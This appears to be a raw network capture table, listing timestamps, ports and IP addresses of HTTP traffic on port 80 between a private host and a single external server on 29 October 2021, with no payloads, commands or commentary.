Oct 29, 2021 17:55:29.337703943 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.337744951 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.337784052 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.337816954 CEST	49822	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:29.337824106 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.337841034 CEST	49822	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:29.337865114 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.338581085 CEST	49822	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:29.389281034 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.389306068 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.389318943 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.389331102 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.389390945 CEST	49822	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:29.389456034 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.389472961 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.389489889 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.389506102 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.389522076 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.389544010 CEST	49822	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:29.389554977 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.389575958 CEST	49822	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:29.389585018 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.389599085 CEST	49822	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:29.389601946 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.389630079 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.389652014 CEST	49822	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:29.389673948 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.389693975 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.389713049 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.389717102 CEST	49822	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:29.389759064 CEST	49822	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:29.389918089 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.389934063 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.389950991 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.389976978 CEST	49822	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:29.441102982 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.441195965 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.441253901 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.441296101 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.441318989 CEST	49822	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:29.441338062 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.441343069 CEST	49822	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:29.441380024 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.441421986 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.441441059 CEST	49822	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:29.441458941 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.441474915 CEST	49822	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:29.441498995 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.441539049 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.441579103 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.441595078 CEST	49822	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:29.441617966 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.441631079 CEST	49822	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:29.441657066 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.441698074 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.441730976 CEST	49822	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:29.441740036 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.441777945 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.441817999 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.441818953 CEST	49822	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:29.441931963 CEST	49822	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:29.493520975 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.493556976 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.493577003 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.493602037 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.493626118 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.493645906 CEST	49822	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:29.493649006 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.493671894 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.493676901 CEST	49822	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:29.493695974 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.493702888 CEST	49822	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:29.493721962 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.493745089 CEST	49822	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:29.493745089 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.493767977 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.493791103 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.493793011 CEST	49822	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:29.493814945 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.493839979 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.493864059 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.493866920 CEST	49822	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:29.493884087 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.493905067 CEST	49822	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:29.493906975 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.493932009 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.493940115 CEST	49822	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:29.493953943 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.493978977 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.493990898 CEST	49822	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:29.494164944 CEST	49822	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:29.546058893 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.546093941 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.546117067 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.546143055 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.546165943 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.546180010 CEST	49822	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:29.546190977 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.546212912 CEST	49822	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:29.546215057 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.546241045 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.546241045 CEST	49822	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:29.546266079 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.546287060 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.546303988 CEST	49822	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:29.546308041 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.546329021 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.546340942 CEST	49822	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:29.546354055 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.546380043 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.546402931 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.546416044 CEST	49822	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:29.546426058 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.546433926 CEST	49822	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:29.546452045 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.546478987 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.546482086 CEST	49822	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:29.546504021 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.546529055 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.546541929 CEST	49822	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:29.546554089 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.546586990 CEST	49822	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:29.598175049 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.598232985 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.598253012 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.598273039 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.598290920 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.598309994 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.598324060 CEST	49822	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:29.598336935 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.598360062 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.598360062 CEST	49822	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:29.598385096 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.598401070 CEST	49822	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:29.598408937 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.598433971 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.598448038 CEST	49822	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:29.598457098 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.598479986 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.598494053 CEST	49822	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:29.598503113 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.598526955 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.598531008 CEST	49822	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:29.598547935 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.598572016 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.598586082 CEST	49822	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:29.598597050 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.598620892 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.598623991 CEST	49822	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:29.598645926 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.598669052 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.598680019 CEST	49822	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:29.598720074 CEST	49822	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:29.650441885 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.650480986 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.650504112 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.650525093 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.650536060 CEST	49822	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:29.650549889 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.650573015 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.650580883 CEST	49822	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:29.650593996 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.650616884 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.650626898 CEST	49822	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:29.650639057 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.650660992 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.650679111 CEST	49822	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:29.650682926 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.650705099 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.650717974 CEST	49822	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:29.650727034 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.650784969 CEST	49822	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:29.651196957 CEST	49822	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:29.702585936 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:31.139929056 CEST	49828	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:31.193041086 CEST	80	49828	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:31.193162918 CEST	49828	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:31.193311930 CEST	49828	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:31.193336964 CEST	49828	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:31.278789043 CEST	80	49828	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:31.278872967 CEST	49828	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:31.279045105 CEST	49828	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:31.315013885 CEST	49829	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:31.331418037 CEST	80	49828	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:31.367218971 CEST	80	49829	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:31.369693041 CEST	49829	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:31.369812965 CEST	49829	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:31.369837046 CEST	49829	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:31.452559948 CEST	80	49829	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:31.453254938 CEST	49829	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:31.453450918 CEST	49829	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:31.505769014 CEST	80	49829	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:31.907090902 CEST	49832	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:31.959141016 CEST	80	49832	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:31.959346056 CEST	49832	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:31.959697962 CEST	49832	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:31.959718943 CEST	49832	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.011379004 CEST	80	49832	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.011394024 CEST	80	49832	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.039067984 CEST	80	49832	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.039134979 CEST	49832	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.039354086 CEST	49832	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.093146086 CEST	80	49832	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.094667912 CEST	49833	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.148996115 CEST	80	49833	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.149159908 CEST	49833	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.149271011 CEST	49833	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.149286985 CEST	49833	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.202608109 CEST	80	49833	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.232378960 CEST	80	49833	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.232619047 CEST	49833	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.233000994 CEST	49833	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.273514032 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.286433935 CEST	80	49833	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.328469992 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.328600883 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.328716040 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.328731060 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.383615017 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.408582926 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.408615112 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.408627987 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.408644915 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.408665895 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.408683062 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.408713102 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.408803940 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.409133911 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.409154892 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.409168005 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.409183979 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.409249067 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.409378052 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.463581085 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.463604927 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.463668108 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.463666916 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.463685989 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.463740110 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.463969946 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.463989973 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.464005947 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.464024067 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.464076042 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.464092016 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.464519978 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.464541912 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.464557886 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.464575052 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.464631081 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.464633942 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.464653015 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.464668989 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.464680910 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.464751005 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.464768887 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.464786053 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.464792013 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.464860916 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.518493891 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.518522978 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.518538952 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.518557072 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.518585920 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.518687010 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.518790007 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.518809080 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.518825054 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.518845081 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.518862963 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.518893003 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.519397974 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.519418955 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.519435883 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.519454002 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.519470930 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.519488096 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.519493103 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.519509077 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.519516945 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.519527912 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.519541025 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.519545078 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.519587994 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.520111084 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.520132065 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.520157099 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.520193100 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.520236969 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.573580980 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.573607922 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.573623896 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.573638916 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.573658943 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.573708057 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.574031115 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.574052095 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.574067116 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.574083090 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.574127913 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.574172974 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.574188948 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.574223042 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.574239016 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.574255943 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.574273109 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.574287891 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.574304104 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.574327946 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.574418068 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.574438095 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.574549913 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.575623989 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.575647116 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.575665951 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.575684071 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.575701952 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.575747967 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.629426956 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.629466057 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.629482985 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.629498959 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.629513025 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.629530907 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.629549026 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.629565954 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.629570007 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.629590988 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.629610062 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.629626036 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.629637957 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.629650116 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.629659891 CEST	49834	80	192.168.2.6	185.98.87.159
